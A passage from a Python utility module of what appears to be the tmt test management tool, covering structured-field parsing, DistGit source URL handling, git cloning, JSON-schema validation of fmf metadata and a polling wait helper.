care.\n\n            [hardware]\n            hostrequire = hypervisor=\n            hostrequire = labcontroller=lab.example.com\n\n            [structured-field-end]\n\n        print field.get(\"hardware\", \"hostrequire\")\n\n            ['hypervisor=', 'labcontroller=lab.example.com']\n    \"\"\"\n\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n    #  StructuredField Special\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    def __init__(\n            self,\n            text: Optional[str] = None,\n            version: int = 1,\n            multi: bool = False) -> None:\n        \"\"\" Initialize the structured field \"\"\"\n        self.version(version)\n        self._header: str = \"\"\n        self._footer: str = \"\"\n        # Sections are internally stored in their serialized form, i.e. as\n        # strings.\n        self._sections: Dict[str, str] = {}\n        self._order: List[str] = []\n        self._multi = multi\n        if text is not None:\n            self.load(text)\n\n    def __iter__(self) -> Generator[str, None, None]:\n        \"\"\" By default iterate through all available section names \"\"\"\n        for section in self._order:\n            yield section\n\n    def __nonzero__(self) -> bool:\n        \"\"\" True when any section is defined \"\"\"\n        return len(self._order) > 0\n\n    __bool__ = __nonzero__\n\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n    #  StructuredField Private\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    def _load_version_zero(self, text: str) -> None:\n        \"\"\" Load version 0 format \"\"\"\n        # Attempt to split the text according to the section tag\n        section = re.compile(r\"\\n?^\\[([^\\]]+)\\]\\n\", re.MULTILINE)\n        parts = section.split(text)\n        # If just one part ---> no sections present, just plain text\n        if len(parts) == 1:\n            self._header = parts[0]\n            return\n        # Pick header & footer, make sure [end] tag is present\n        self._header = parts[0]\n        self._footer = re.sub(\"^\\n\", \"\", parts[-1])\n        if parts[-2] != \"end\":\n            raise StructuredFieldError(\"No [end] section tag found\")\n        # Convert to dictionary and save the order\n        keys = parts[1:-2:2]\n        values = parts[2:-2:2]\n        for key, value in zip(keys, values):\n            self.set(key, value)\n\n    def _load(self, text: str) -> None:\n        \"\"\" Load version 1+ format \"\"\"\n        # The text must exactly match the format\n        format = re.compile(\n            r\"(.*)^\\[structured-field-start\\][ \\t]*\\n\"\n            r\"(.*)\\n\\[structured-field-end\\][ \\t]*\\n(.*)\",\n            re.DOTALL + re.MULTILINE)\n        # No match ---> plain text or broken structured field\n        matched = format.search(text)\n        if not matched:\n            if \"[structured-field\" in text:\n                raise StructuredFieldError(\"StructuredField parse error\")\n            self._header = text\n            log.debug(\"StructuredField not found, treating as a plain text\")\n            return\n        # Save header & footer (remove trailing new lines)\n        self._header = re.sub(\"\\n\\n$\", \"\\n\", matched.groups()[0])\n        if self._header:\n            log.debug(u\"Parsed header:\\n{0}\".format(self._header))\n        self._footer = re.sub(\"^\\n\", \"\", matched.groups()[2])\n        if self._footer:\n            log.debug(u\"Parsed footer:\\n{0}\".format(self._footer))\n        # Split the content on the section names\n        section = re.compile(r\"\\n\\[([^\\]]+)\\][ \\t]*\\n\", re.MULTILINE)\n        parts = section.split(matched.groups()[1])\n        # Detect the version\n        version_match = re.search(r\"version (\\d+)\", parts[0])\n        if not version_match:\n            log.error(parts[0])\n            raise StructuredFieldError(\n                \"Unable to detect StructuredField version\")\n        self.version(int(version_match.groups()[0]))\n        log.debug(\n            \"Detected StructuredField version {0}\".format(\n                self.version()))\n        # Convert to dictionary, remove escapes and save the order\n        keys = parts[1::2]\n        escape = re.compile(r\"^\\[structured-field-escape\\]\", re.MULTILINE)\n        values = [escape.sub(\"\", value) for value in parts[2::2]]\n        for key, value in zip(keys, values):\n            self.set(key, value)\n        log.debug(u\"Parsed sections:\\n{0}\".format(\n            pprint.pformat(self._sections)))\n\n    def _save_version_zero(self) -> str:\n        \"\"\" Save version 0 format \"\"\"\n        result = []\n        if self._header:\n            result.append(self._header)\n        for section, content in self.iterate():\n            result.append(u\"[{0}]\\n{1}\".format(section, content))\n        if self:\n            result.append(u\"[end]\\n\")\n        if self._footer:\n            result.append(self._footer)\n        return \"\\n\".join(result)\n\n    def _save(self) -> str:\n        \"\"\" Save version 1+ format \"\"\"\n        result = []\n        # Regular expression for escaping section-like lines\n        escape = re.compile(r\"^(\\[.+\\])$\", re.MULTILINE)\n        # Header\n        if self._header:\n            result.append(self._header)\n        # Sections\n        if self:\n            result.append(\n                u\"[structured-field-start]\\n\"\n                u\"This is StructuredField version {0}. \"\n                u\"Please, edit with care.\\n\".format(self._version))\n            for section, content in self.iterate():\n                result.append(u\"[{0}]\\n{1}\".format(section, escape.sub(\n                    \"[structured-field-escape]\\\\1\", content)))\n            result.append(u\"[structured-field-end]\\n\")\n        # Footer\n        if self._footer:\n            result.append(self._footer)\n        return \"\\n\".join(result)\n\n    def _read_section(self, content: str) -> Dict[str, SFSectionValueType]:\n        \"\"\" Parse config section and return ordered dictionary \"\"\"\n        dictionary: Dict[str, SFSectionValueType] = OrderedDict()\n        for line in content.split(\"\\n\"):\n            # Remove comments and skip empty lines\n            line = re.sub(\"#.*\", \"\", line)\n            if re.match(r\"^\\s*$\", line):\n                continue\n            # Parse key and value\n            matched = re.search(\"([^=]+)=(.*)\", line)\n            if not matched:\n                raise StructuredFieldError(\n                    \"Invalid key/value line: {0}\".format(line))\n            key = matched.groups()[0].strip()\n            value = matched.groups()[1].strip()\n            # Handle multiple values if enabled\n            if key in dictionary and self._multi:\n                stored_value = dictionary[key]\n                if isinstance(stored_value, list):\n                    stored_value.append(value)\n                else:\n                    dictionary[key] = [stored_value, value]\n            else:\n                dictionary[key] = value\n        return dictionary\n\n    def _write_section(self, dictionary: Dict[str, SFSectionValueType]) -> str:\n        \"\"\" Convert dictionary into a config section format \"\"\"\n        section = \"\"\n        for key in dictionary:\n            if isinstance(dictionary[key], list):\n                for value in dictionary[key]:\n                    section += \"{0} = {1}\\n\".format(key, value)\n            else:\n                section += \"{0} = {1}\\n\".format(key, dictionary[key])\n        return section\n\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n    #  StructuredField Methods\n    # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    def iterate(self) -> Generator[Tuple[str, str], None, None]:\n        \"\"\" Return (section, content) tuples for all sections \"\"\"\n        for section in self:\n            yield section, self._sections[section]\n\n    def version(self, version: Optional[int] = None) -> int:\n        \"\"\" Get or set the StructuredField version \"\"\"\n        if version is not None:\n            if version in [0, 1]:\n                self._version = version\n            else:\n                raise StructuredFieldError(\n                    \"Bad StructuredField version: {0}\".format(version))\n        return self._version\n\n    def load(self, text: str, version: Optional[int] = None) -> None:\n        \"\"\" Load the StructuredField from a string \"\"\"\n        if version is not None:\n            self.version(version)\n        # Make sure we got a text, convert from bytes if necessary\n        if isinstance(text, bytes):\n            text = text.decode(\"utf8\")\n        if not isinstance(text, str):\n            raise StructuredFieldError(\n                \"Invalid StructuredField, expecting string\")\n        # Remove possible carriage returns\n        text = re.sub(\"\\r\\n\", \"\\n\", text)\n        # Make sure the text has a new line at the end\n        if text and text[-1] != \"\\n\":\n            text += \"\\n\"\n        log.debug(u\"Parsing StructuredField\\n{0}\".format(text))\n        # Parse respective format version\n        if self._version == 0:\n            self._load_version_zero(text)\n        else:\n            self._load(text)\n\n    def save(self) -> str:\n        \"\"\" Convert the StructuredField into a string \"\"\"\n        if self.version() == 0:\n            return self._save_version_zero()\n        else:\n            return self._save()\n\n    def header(self, content: Optional[str] = None) -> str:\n        \"\"\" Get or set the header content \"\"\"\n        if content is not None:\n            self._header = content\n        return self._header\n\n    def footer(self, content: Optional[str] = None) -> str:\n        \"\"\" Get or set the footer content \"\"\"\n        if content is not None:\n            self._footer = content\n        return self._footer\n\n    def sections(self) -> List[str]:\n        \"\"\" Get the list of available sections \"\"\"\n        return self._order\n\n    def get(\n            self,\n            section: str,\n            item: Optional[str] = None) -> SFSectionValueType:\n        \"\"\" Return content of given section or section item \"\"\"\n        try:\n            content = self._sections[section]\n        except KeyError:\n            raise StructuredFieldError(\n                \"Section [{0!r}] not found\".format(ascii(section)))\n        # Return the whole section content\n        if item is None:\n            return content\n        # Return only selected item from the section\n        try:\n            return self._read_section(content)[item]\n        except KeyError:\n            raise StructuredFieldError(\n                \"Unable to read '{0!r}' from section '{1!r}'\".format(\n                    ascii(item), ascii(section)))\n\n    def set(self, section: str, content: Any,\n            item: Optional[str] = None) -> None:\n        \"\"\" Update content of given section or section item \"\"\"\n        # Convert to string if necessary, keep lists untouched\n        if isinstance(content, list):\n            pass\n        elif isinstance(content, bytes):\n            content = content.decode(\"utf8\")\n        elif not isinstance(content, str):\n            content = str(content)\n        # Set the whole section content\n        if item is None:\n            # Add new line if missing\n            if content and content[-1] != \"\\n\":\n                content += \"\\n\"\n            self._sections[section] = content\n        # Set only selected item from the section\n        else:\n            try:\n                current = self._sections[section]\n            except KeyError:\n                current = \"\"\n            dictionary = self._read_section(current)\n            dictionary[item] = content\n            self._sections[section] = self._write_section(dictionary)\n        # Remember the order when adding a new section\n        if section not in self._order:\n            self._order.append(section)\n\n    def remove(self, section: str, item: Optional[str] = None) -> None:\n        \"\"\" Remove given section or section item \"\"\"\n        # Remove the whole section\n        if item is None:\n            try:\n                del self._sections[section]\n                del self._order[self._order.index(section)]\n            except KeyError:\n                raise StructuredFieldError(\n                    \"Section [{0!r}] not found\".format(ascii(section)))\n        # Remove only selected item from the section\n        else:\n            try:\n                dictionary = self._read_section(self._sections[section])\n                del (dictionary[item])\n            except KeyError:\n                raise StructuredFieldError(\n                    \"Unable to remove '{0!r}' from section '{1!r}'\".format(\n                        ascii(item), ascii(section)))\n            self._sections[section] = self._write_section(dictionary)\n\n\nclass DistGitHandler:\n    \"\"\" Common functionality for DistGit handlers \"\"\"\n    sources_file_name = 'sources'\n    uri = \"/rpms/{name}/{filename}/{hashtype}/{hash}/{filename}\"\n\n    usage_name: str  # Name to use for dist-git-type\n    re_source: Pattern[str]\n    re_ignore_extensions: Pattern[str] = re.compile(r'\\.(sign|asc|key)$')\n    lookaside_server: str\n    remote_substring: Pattern[str]\n\n    def url_and_name(self, cwd: Optional[Path] = None) -> List[Tuple[str, str]]:\n        \"\"\"\n        Return list of urls and basenames of the used source\n\n        The 'cwd' parameter has to be a DistGit directory.\n        \"\"\"\n        cwd = cwd or Path.cwd()\n        # Assumes <package>.spec\n        globbed = list(cwd.glob('*.spec'))\n        if len(globbed) != 1:\n            raise GeneralError(f\"No .spec file is present in '{cwd}'.\")\n        package = globbed[0].stem\n        ret_values = []\n        try:\n            with open(cwd / self.sources_file_name) as f:\n                for line in f.readlines():\n                    match = self.re_source.match(line)\n                    if match is None:\n                        raise GeneralError(\n                            f\"Couldn't match '{self.sources_file_name}' \"\n                            f\"content with '{self.re_source.pattern}'.\")\n                    used_hash, source_name, hash_value = match.groups()\n                    ret_values.append((self.lookaside_server + self.uri.format(\n                        name=package,\n                        filename=source_name,\n                        hash=hash_value,\n                        hashtype=used_hash.lower()\n                        ), source_name))\n        except Exception as error:\n            raise GeneralError(f\"Couldn't read '{self.sources_file_name}' file.\") from error\n        if not ret_values:\n            raise GeneralError(\n                \"No sources found in '{self.sources_file_name}' file.\")\n        return ret_values\n\n    def its_me(self, remotes: List[str]) -> bool:\n        \"\"\" True if self can work with remotes \"\"\"\n        return any(self.remote_substring.search(item) for item in remotes)\n\n\nclass FedoraDistGit(DistGitHandler):\n    \"\"\" Fedora Handler \"\"\"\n    usage_name = \"fedora\"\n    re_source = re.compile(r\"^(\\w+) \\(([^)]+)\\) = ([0-9a-fA-F]+)$\")\n    lookaside_server = \"https://src.fedoraproject.org/repo/pkgs\"\n    remote_substring = re.compile(r'fedoraproject\\.org')\n\n\nclass CentOSDistGit(DistGitHandler):\n    \"\"\" CentOS Handler \"\"\"\n    usage_name = \"centos\"\n    re_source = re.compile(r\"^(\\w+) \\(([^)]+)\\) = ([0-9a-fA-F]+)$\")\n    lookaside_server = \"https://sources.stream.centos.org/sources\"\n    remote_substring = re.compile(r'redhat/centos')\n\n\nclass RedHatGitlab(DistGitHandler):\n    \"\"\" Red Hat on Gitlab \"\"\"\n    usage_name = \"redhatgitlab\"\n    re_source = re.compile(r\"^(\\w+) \\(([^)]+)\\) = ([0-9a-fA-F]+)$\")\n    # Location already public (standard-test-roles)\n    lookaside_server = \"http://pkgs.devel.redhat.com/repo\"\n    remote_substring = re.compile(r'redhat/rhel/')\n\n\ndef get_distgit_handler(\n        remotes: Optional[List[str]] = None,\n        usage_name: Optional[str] = None) -> DistGitHandler:\n    \"\"\"\n    Return the right DistGitHandler\n\n    Pick the DistGitHandler class which understands specified\n    remotes or by usage_name.\n    \"\"\"\n    for candidate_class in DistGitHandler.__subclasses__():\n        if usage_name is not None and usage_name == candidate_class.usage_name:\n            return candidate_class()\n        if remotes is not None:\n            ret_val = candidate_class()\n            if ret_val.its_me(remotes):\n                return ret_val\n    raise GeneralError(f\"No known remote in '{remotes}'.\")\n\n\ndef get_distgit_handler_names() -> List[str]:\n    \"\"\" All known distgit handlers \"\"\"\n    return [i.usage_name for i in DistGitHandler.__subclasses__()]\n\n\ndef git_clone(\n        url: str,\n        destination: Path,\n        common: Common,\n        env: Optional[EnvironmentType] = None,\n        shallow: bool = False\n        ) -> CommandOutput:\n    \"\"\"\n    Git clone url to destination, retry without shallow if necessary\n\n    For shallow=True attempt to clone repository using --depth=1 option first.\n    If not successful attempt to clone whole repo.\n\n    Common instance is used to run the command for appropriate logging.\n    Environment is updated by 'env' dictionary.\n    \"\"\"\n    depth = ['--depth=1'] if shallow else []\n    try:\n        return common.run(\n            Command(\n                'git', 'clone',\n                *depth,\n                url, str(destination)\n                ), env=env)\n    except RunError:\n        if not shallow:\n            # Do not retry if shallow was not used\n            raise\n        # Git server might not support shallow cloning, try again\n        return git_clone(url, destination, common, env, shallow=False)\n\n\n# ignore[type-arg]: base class is a generic class, but we cannot list its parameter type, because\n# in Python 3.6 the class \"is not subscriptable\".\nclass updatable_message(contextlib.AbstractContextManager):  # type: ignore[type-arg]\n    \"\"\" Updatable message suitable for progress-bar-like reporting \"\"\"\n\n    def __init__(\n            self,\n            key: str,\n            enabled: bool = True,\n            indent_level: int = 0,\n            key_color: Optional[str] = None,\n            default_value_color: Optional[str] = None\n            ) -> None:\n        \"\"\"\n        Updatable message suitable for progress-bar-like reporting.\n\n        .. code:block:: python3\n\n           with updatable_message('foo') as message:\n               while ...:\n                   ...\n\n                   # check state of remote request, and update message\n                   state = remote_api.check()\n                   message.update(state)\n\n        :param key: a string to use as the left-hand part of logged message.\n        :param enabled: if unset, no output would be performed.\n        :param indent_level: desired indentation level.\n        :param key_color: optional color to apply to ``key``.\n        :param default_color: optional color to apply to value when\n            :py:meth:`update` is called with ``color`` left out.\n        \"\"\"\n\n        self.key = key\n        self.enabled = enabled\n        self.indent_level = indent_level\n        self.key_color = key_color\n        self.default_value_color = default_value_color\n\n        # No progress if terminal not attached\n        if not sys.stdout.isatty():\n            self.enabled = False\n\n        self._previous_line: Optional[str] = None\n\n    def __enter__(self) -> 'updatable_message':\n        return self\n\n    def __exit__(self, *args: Any) -> None:\n        sys.stdout.write('\\n')\n        sys.stdout.flush()\n\n    def update(self, value: str, color: Optional[str] = None) -> None:\n        if not self.enabled:\n            return\n\n        if self._previous_line is not None:\n            message = value.ljust(len(self._previous_line))\n\n        else:\n            message = value\n\n        self._previous_line = value\n\n        message = tmt.log.indent(\n            self.key,\n            value=style(\n                message,\n                fg=color or self.default_value_color),\n            color=self.key_color,\n            level=self.indent_level)\n\n        sys.stdout.write(f\"\\r{message}\")\n        sys.stdout.flush()\n\n\ndef find_fmf_root(path: Path) -> List[Path]:\n    \"\"\"\n    Search trough path and return all fmf roots that exist there\n\n    Returned list is ordered by path length, shortest one first.\n\n    Raise `MetadataError` if no fmf root is found.\n    \"\"\"\n    fmf_roots = []\n    for _root, _, files in os.walk(path):\n        root = Path(_root)\n        if root.name != '.fmf':\n            continue\n        if 'version' in files:\n            fmf_roots.append(root.parent)\n    if not fmf_roots:\n        raise MetadataError(f\"No fmf root present inside '{path}'.\")\n    fmf_roots.sort(key=lambda path: len(str(path)))\n    return fmf_roots\n\n\n#\n# JSON schema-based validation helpers\n#\n# Aims at FMF data consumed by tmt, but can be used for any structure.\n#\n\n# `Schema` represents a loaded JSON schema structure. It may be fairly complex,\n# but it's not needed to provide the exhaustive and fully detailed type since\n# tmt code is not actually \"reading\" it. Loaded schema is passed down to\n# jsonschema library, and while `Any` would be perfectly valid, let's use an\n# alias to make schema easier to track in our code.\nSchema = Dict[str, Any]\nSchemaStore = Dict[str, Schema]\n\n\ndef _patch_plan_schema(schema: Schema, store: SchemaStore) -> None:\n    \"\"\"\n    Resolve references to per-plugin schema known to steps. All schemas have\n    been loaded into store, all that's left is to update each step in plan\n    schema with the list of schemas allowed for that particular step.\n\n    For each step, we create the following schema (see also plan.yaml for the\n    rest of plan schema):\n\n    .. code-block:: yaml\n\n       <step name>:\n         oneOf:\n           - $ref: \"/schemas/<step name>/plugin1\"\n           - $ref: \"/schemas/<step name>/plugin2\"\n           ...\n           - $ref: \"/schemas/<step name>/pluginN\"\n           - type: array\n             items:\n               anyOf:\n                 - $ref: \"/schemas/<step name>/plugin1\"\n                 - $ref: \"/schemas/<step name>/plugin2\"\n                 ...\n                 - $ref: \"/schemas/<step name>/pluginN\"\n    \"\"\"\n\n    for step in ('discover', 'execute', 'finish', 'prepare', 'provision', 'report'):\n        step_schema_prefix = f'/schemas/{step}/'\n\n        step_plugin_schema_ids = [schema_id for schema_id in store.keys() if schema_id.startswith(\n            step_schema_prefix) and schema_id != '/schemas/provision/hardware']\n\n        refs: List[Schema] = [\n            {'$ref': schema_id} for schema_id in step_plugin_schema_ids\n            ]\n\n        schema['properties'][step] = {\n            'oneOf': refs + [\n                {\n                    'type': 'array',\n                    'items': {\n                        'anyOf': refs\n                        }\n                    }\n                ]\n            }\n\n\ndef _load_schema(schema_filepath: Path) -> Schema:\n    \"\"\"\n    Load a JSON schema from a given filepath.\n\n    A helper returning the raw loaded schema.\n    \"\"\"\n\n    if not schema_filepath.is_absolute():\n        schema_filepath = Path(pkg_resources.resource_filename('tmt', 'schemas')) \\\n            / schema_filepath\n\n    try:\n        with open(schema_filepath, 'r', encoding='utf-8') as f:\n            return cast(Schema, yaml_to_dict(f.read()))\n\n    except Exception as exc:\n        raise FileError(f\"Failed to load schema file {schema_filepath}\\n{exc}\")\n\n\n@functools.lru_cache(maxsize=None)\ndef load_schema(schema_filepath: Path) -> Schema:\n    \"\"\"\n    Load a JSON schema from a given filepath.\n\n    Recommended for general use, the method may apply some post-loading touches\n    to the given schema, and unless caller is interested in the raw content of\n    the file, this functions should be used instead of the real workhorse of\n    schema loading, :py:func:`_load_schema`.\n    \"\"\"\n\n    schema = _load_schema(schema_filepath)\n\n    if schema.get('$id') == '/schemas/plan':\n        _patch_plan_schema(schema, load_schema_store())\n\n    return schema\n\n\n@functools.lru_cache(maxsize=None)\ndef load_schema_store() -> SchemaStore:\n    \"\"\"\n    Load all available JSON schemas, and put them into a \"store\".\n\n    Schema store is a simple mapping between schema IDs and schemas.\n    \"\"\"\n\n    store: SchemaStore = {}\n\n    schema_dirpath = Path(pkg_resources.resource_filename('tmt', 'schemas'))\n\n    try:\n        for dirpath, _, filenames in os.walk(\n                schema_dirpath, followlinks=True):\n            for filename in filenames:\n                filepath = Path(dirpath) / filename\n\n                # Ignore all files but YAML files.\n                if filepath.suffix.lower() not in ('.yaml', '.yml'):\n                    continue\n\n                schema = _load_schema(filepath)\n\n                store[schema['$id']] = schema\n\n    except Exception as exc:\n        raise FileError(f\"Failed to discover schema files\\n{exc}\")\n\n    if '/schemas/plan' not in store:\n        raise FileError('Failed to discover schema for plans')\n\n    _patch_plan_schema(store['/schemas/plan'], store)\n\n    return store\n\n\ndef _prenormalize_fmf_node(node: fmf.Tree, schema_name: str) -> fmf.Tree:\n    \"\"\"\n    Apply the minimal possible normalization steps to nodes before validating them with schemas.\n\n    tmt allows some fields to have default values, and at least ``how`` field is necessary for\n    schema-based validation to work reliably. Based on ``how`` field, plan schema identifies\n    the correct *plugin* schema for step validation. Without ``how``, it's hard to pick the\n    correct schema.\n\n    This function tries to do minimal number of changes to a given fmf node to honor the promise\n    of ``how`` being optional, with known defaults for each step. It might be possible to resolve\n    this purely with schemas, but since we don't know how (yet?), a Python implementation has been\n    chosen to unblock schema-based validation while keeping things easier for users. This may\n    change in the future, dropping the need for this pre-validation step.\n\n    .. note::\n\n       This function is not part of the normalization process that happens after validation. The\n       purpose of this function is to make the world nice and shiny for tmt users while avoiding\n       the possibility of schema becoming way too complicated, especially when we would need\n       non-trivial amount fo time for experiments.\n\n       The real normalization process takes place after validation, and is responsible for\n       converting raw fmf data to data types and structures more suited for tmt internal\n       implementation.\n    \"\"\"\n\n    # As of now, only `how` field in plan steps seems to be required for schema-based validation\n    # to work correctly, therefore ignore any other node.\n    if schema_name != 'plan.yaml':\n        return node\n\n    # Perform the very crude and careful semi-validation. We need to set the `how` key to a default\n    # value - but it's not our job to validate the general structure of node data. Walk the \"happy\"\n    # path, touch the node only when it matches the specification of being a mapping of steps and\n    # these being either mappings or lists of mappings. Whenever we notice some value does not\n    # match this basic structure, ignore the step completely - its issues will be cought by schema\n    # later, don't waste time on steps that do not follow specification.\n\n    # Fmf data describing a plan shall be a mapping (with keys like `discover` or `adjust`).\n    if not isinstance(node.data, dict):\n        return node\n\n    # Avoid possible circular imports\n    import tmt.steps\n\n    def _process_step(step_name: str, step: Dict[Any, Any]) -> None:\n        \"\"\"\n        Process a single step configuration.\n        \"\"\"\n\n        # If `how` is set, don't touch it, and there's nothing to do.\n        if 'how' in step:\n            return\n\n        # Magic!\n        # No, seriously: step is implemented in `tmt.steps.$step_name` package,\n        # by a class `tmt.steps.$step_name.$step_name_with_capitalized_first_letter`.\n        # Instead of having a set of if-elif tests, we can reach the default `how`\n        # dynamically.\n\n        from tmt.plugins import import_member\n\n        step_module_name = f'tmt.steps.{step_name}'\n        step_class_name = step_name.capitalize()\n\n        step_class = import_member(step_module_name, step_class_name)\n\n        if not issubclass(step_class, tmt.steps.Step):\n            raise GeneralError(\n                'Possible step {step_name} implementation '\n                f'{step_module_name}.{step_class_name} is not a subclass '\n                'of tmt.steps.Step class.')\n\n        step['how'] = step_class.DEFAULT_HOW\n\n    def _process_step_collection(step_name: str, step_collection: Any) -> None:\n        \"\"\"\n        Process a collection of step configurations.\n        \"\"\"\n\n        # Ignore anything that is not a step.\n        if step_name not in tmt.steps.STEPS:\n            return\n\n        # A single step configuration, represented as a mapping.\n        if isinstance(step_collection, dict):\n            _process_step(step_name, step_collection)\n\n            return\n\n        # Multiple step configurations, as mappings in a list\n        if isinstance(step_collection, list):\n            for step_config in step_collection:\n                # Unexpected, maybe instead of a mapping describing a step someone put\n                # in an integer... Ignore, schema will report it.\n                if not isinstance(step_config, dict):\n                    continue\n\n                _process_step(step_name, step_config)\n\n    for step_name, step_config in node.data.items():\n        _process_step_collection(step_name, step_config)\n\n    return node\n\n\ndef validate_fmf_node(\n        node: fmf.Tree, schema_name: str) -> List[Tuple[jsonschema.ValidationError, str]]:\n    \"\"\" Validate a given fmf node \"\"\"\n\n    node = _prenormalize_fmf_node(node, schema_name)\n\n    result = node.validate(load_schema(Path(schema_name)), schema_store=load_schema_store())\n\n    if result.result is True:\n        return []\n\n    # A bit of error formatting. It is possible to use str(error), but the result\n    # is a bit too JSON-ish. Let's present an error message in a way that helps\n    # users to point finger on each and every issue. But don't throw the original\n    # errors away!\n\n    errors: List[Tuple[jsonschema.ValidationError, str]] = []\n\n    for error in result.errors:\n        path = f'{node.name}:{\".\".join(error.path)}'\n\n        errors.append((error, f'{path} - {error.message}'))\n\n    return errors\n\n\n# A type for callbacks given to wait()\nWaitCheckType = Callable[[], T]\n\n\ndef wait(\n        parent: Common,\n        check: WaitCheckType[T],\n        timeout: datetime.timedelta,\n        tick: float = DEFAULT_WAIT_TICK,\n        tick_increase: float = DEFAULT_WAIT_TICK_INCREASE\n        ) -> T:\n    \"\"\"\n    Wait for a condition to become true.\n\n    To test the condition state, a ``check`` callback is called every ``tick``\n    seconds until ``check`` reports a success. The callback may:\n\n    * decide the condition has been fulfilled. This is a successfull outcome,\n      ``check`` shall then simply return, and waiting ends. Or,\n    * decide more time is needed. This is not a successfull outcome, ``check``\n      shall then raise :py:clas:`WaitingIncomplete` exception, and ``wait()``\n      will try again later.\n\n    :param parent: \"owner\" of the wait process. Used for its logging capability.\n    :param check: a callable responsible for testing the condition. Accepts no\n        arguments. To indicate more time and attempts are needed, the callable\n        shall raise :py:class:`WaitingIncomplete`, otherwise it shall return\n        without exception. Its return value will be propagated by ``wait()`` up\n        to ``wait()``'s. All other exceptions raised by ``check`` will propagate\n        to ``wait()``'s caller as well, terminating the wait.\n    :param timeout: amount of time ``wait()`` is alowed to spend waiting for\n        successfull outcome of ``check`` call.\n    :param tick: how many seconds to wait between two consecutive calls of\n        ``check``.\n    :param tick_increase: a multiplier applied to ``tick`` after every attempt.\n    :returns: value returned by ``check`` reporting success.\n    :raises GeneralError: when ``tick`` is not a positive integer.\n    :raises WaitingTimedOutError: when time quota has been consumed.\n    \"\"\"\n\n    if tick <= 0:\n        raise GeneralError('Tick must be a positive integer')\n\n    NOW = time.monotonic\n\n    deadline = NOW() + timeout.total_seconds()\n\n    parent.debug(\n        'wait',\n        f\"waiting for condition '{check.__name__}' with timeout {timeout},\"\n        f\" deadline in {timeout.total_seconds()} seconds,\"\n        f\" checking every {tick:.2f} seconds\")\n\n    while True:\n        now = NOW()\n\n        if now > deadline:\n            parent.debug(\n                'wait',\n                f\"'{check.__name__}' did not succeed,\"\n                f\" {now - deadline:.2f} over quota\")\n\n            raise WaitingTimedOutError(check, timeout)\n\n        try:\n            ret = check()\n\n            # Perform one extra check: if `check()` succeeded, but took more time than\n            # allowed, it should be recognized as a failed waiting too.\n            now = NOW()\n\n            if now > deadline:\n                parent.debug(\n                    'wait',\n                    f\"'{check.__name__}' finished successfully but took too much time,\"\n                    f\" {now - deadline:.2f} over quota\")\n\n                raise WaitingTimedOutError(check, timeout, check_success=True)\n\n            parent.debug(\n                'wait',\n                f\"'{check.__name__}' finished successfully,\"\n                f\" {deadline - now:.2f} seconds left\")\n\n            return ret\n\n        except WaitingIncomplete:\n            # Update timestamp for more accurate logging - check() could have taken minutes\n            # to complete, using the pre-check timestamp for logging would be misleading.\n            now = NOW()\n\n            parent.debug(\n                'wait',\n                f\"'{check.__name__}' still pending,\"\n                f\" {deadline - now:.2f} seconds left,\"\n                f\" current tick {tick:.2f} seconds\")\n\n            time.sleep(tick)\n\n            tick *= tick_increase\n\n            continue\n\n\nclass ValidateFmfMixin(_CommonBase):\n    \"\"\"\n    Mixin adding validation of an fmf node.\n\n    Loads a schema whose name is derived from class name, and uses fmf's validate()\n    method to perform the validation.\n    \"\"\"\n\n    def _validate_fmf_node(\n            self,\n            node: fmf.Tree,\n            raise_on_validation_error: bool,\n            logger: tmt.log.Logger) -> None:\n        \"\"\" Validate a given fmf node \"\"\"\n\n        errors = validate_fmf_node(\n            node, f'{self.__class__.__name__.lower()}.yaml')\n\n        if errors:\n            if raise_on_validation_error:\n                raise SpecificationError(\n                    f'fmf node {node.name} failed validation',\n                    validation_errors=errors)\n\n            for _, error_message in errors:\n                logger.warn(error_message, shift=1)\n\n    def __init__(\n            self,\n            *,\n            node: fmf.Tree,\n            skip_validation: bool = False,\n            raise_on_validation_error: bool = False,\n            logger: tmt.log.Logger,\n            **kwargs: Any) -> None:\n        # Validate *before* letting next class in line touch the data.\n        if not skip_validation:\n            self._validate_fmf_node(node, raise_on_validation_error, logger)\n\n        super().__init__(node=node, logger=logger, **kwargs)\n\n\n# A type representing compatible sources of keys and values.\nKeySource = Union[Dict[str, Any], fmf.Tree]\n\nNormalizeCallback = Callable[[Any, tmt.log.Logger], T]\n\n\ndef dataclass_normalize_field(\n        container: Any,\n        keyname: str,\n        raw_value: Any,\n        logger: tmt.log.Logger) -> Any:\n    \"\"\"\n    Normalize and assign a value to container field.\n\n    If there is a normalization callback defined for the field, either in field\n    metadata or as a special ``_normalize_$keyname`` method, the method is\n    called for ``raw_value``, and its return value is assigned to container\n    field instead of ``value``.\n    \"\"\"\n\n    normalize_callback: Optional[NormalizeCallback[Any]] = None\n\n    # First try new-style fields, i.e. normalize callback stored in field metadata\n    if dataclasses.is_dataclass(container):\n        field: dataclasses.Field[Any] = dataclass_field_by_name(container, keyname)\n        normalize_callback = dataclass_field_metadata(field).normalize_callback\n\n    if not normalize_callback:\n        normalize_callback = getattr(container, f'_normalize_{keyname}', None)\n\n    if normalize_callback:\n        value = normalize_callback(raw_value, logger)\n\n    else:\n        value = raw_value\n\n    # As mentioned in BasePlugin._update_data_from_options, the test\n    # performed there is questionable. To gain more visibility into how\n    # normalization and CLI updates work together, a bit of logging of\n    # values the CLI update process does not consider.\n    #\n    # Keep for debugging purposes, as long as normalization settles down.\n    if value is None or value == [] or value == ():\n        logger.debug(\n            'field normalized to false-ish value',\n            f'{container.__class__.__name__}.{keyname}',\n            level=4)\n\n        with_getattr = getattr(container, keyname, None)\n        with_dict = container.__dict__.get(keyname, None)\n\n        logger.debug('value', str(value), level=4, shift=1)\n        logger.debug('current value (getattr)', 